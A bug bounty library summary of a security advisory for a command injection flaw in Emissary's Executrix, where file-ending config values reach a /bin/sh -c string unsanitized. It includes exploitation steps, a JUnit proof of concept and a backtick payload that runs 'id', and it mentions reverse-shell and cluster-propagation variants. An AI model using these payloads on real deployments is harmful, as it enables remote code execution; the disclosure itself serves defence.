# Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix

Emissary's Executrix concatenates unvalidated IN_FILE_ENDING/OUT_FILE_ENDING into a /bin/sh -c string, letting a place config author execute arbitrary OS commands.

- Payout: Research
- Severity: high
- Program: Emissary
- Found by: blueandhack
- Disclosed: 2026-04-13
- CVE: CVE-2026-35582
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3p24-9x7v-7789
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3p24-9x7v-7789
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:java technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** Java framework shell command builder (Executrix.getCommand) used by Emissary places
**Root cause:** TempFileNames concatenates inFileEnding/outFileEnding onto temp paths with no sanitization, and getCommand() substitutes those paths verbatim into a /bin/sh -c string. placeName is allowlist-sanitized but file endings are not.
**Steps:**
1. Set `IN_FILE_ENDING = "`id > /tmp/pwned.txt`"` in a place config (e.g. emissary.place.UnixCommandPlace.cfg) with `EXEC_COMMAND = "cat <INPUT_PATH>"`
2. Register the place in places.cfg and restart the server so the config loads
3. Drop any file into the pickup directory to trigger pipeline processing through the place
4. Shell expands the backtick expression in the substituted path; `cat /tmp/pwned.txt` shows `uid=1000(emissary)`
5. Unit-level: `executrix.setInFileEnding("`touch <marker>`")`, then `getCommand(createTempFilenames())` and exec cmd[2]
**How found:** Code review: noticed placeName is sanitized with an allowlist because it reaches the shell string, but inFileEnding/outFileEnding flow into the same /bin/sh -c command unsanitized — an inconsistency revealing the defect.
**Exploitation:** Attacker with config-write access (developer/operator, config repo PR) plants a place config whose IN_FILE_ENDING holds a backtick payload; on next deploy/restart the payload fires on the first processed file, giving shell as the Emissary user. Reverse shell or curl stager variants shown. From one node, cluster peers API can push config and trigger restarts to propagate cluster-wide.
**Escalation:** Single-node RCE pivots to cluster-wide compromise via /api/cluster/peers enumeration, config push to peers, and /api/shutdown restarts.
**Insight:** When a codebase sanitizes one value that reaches a shell string, audit every other value substituted into that same string; the presence of one allowlist marks the trust boundary and its gaps. Also note replaceAll() treats `$` as a group ref, so backticks are the reliable injection form in Java.

## Proof of concept (copied exactly from the original report)

**JUnit test proving backtick injection via setInFileEnding**

```
String payload = "`touch " + marker.toAbsolutePath() + "`";

        Executrix executrix = new Executrix();
        executrix.setTmpDir(tmpDir.toString());
        executrix.setCommand("cat <INPUT_PATH>");  // mirrors UnixCommandPlace default
        executrix.setInFileEnding(payload);  // no validation — accepted as-is

        // --- path taken by UnixCommandPlace.runCommandOn() ---
        TempFileNames names = executrix.createTempFilenames();
        String[] cmd = executrix.getCommand(names);
        // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`"

        // Execute — same call as executrix.execute(cmd, outbuf, errbuf)
        Process proc = Runtime.getRuntime().exec(cmd);
        proc.waitFor();

        assertTrue(Files.exists(marker),
            "Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" +
            "Shell string: " + cmd[2]);
```

**Assembled shell string showing injected backtick expansion**

```
/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt`
```

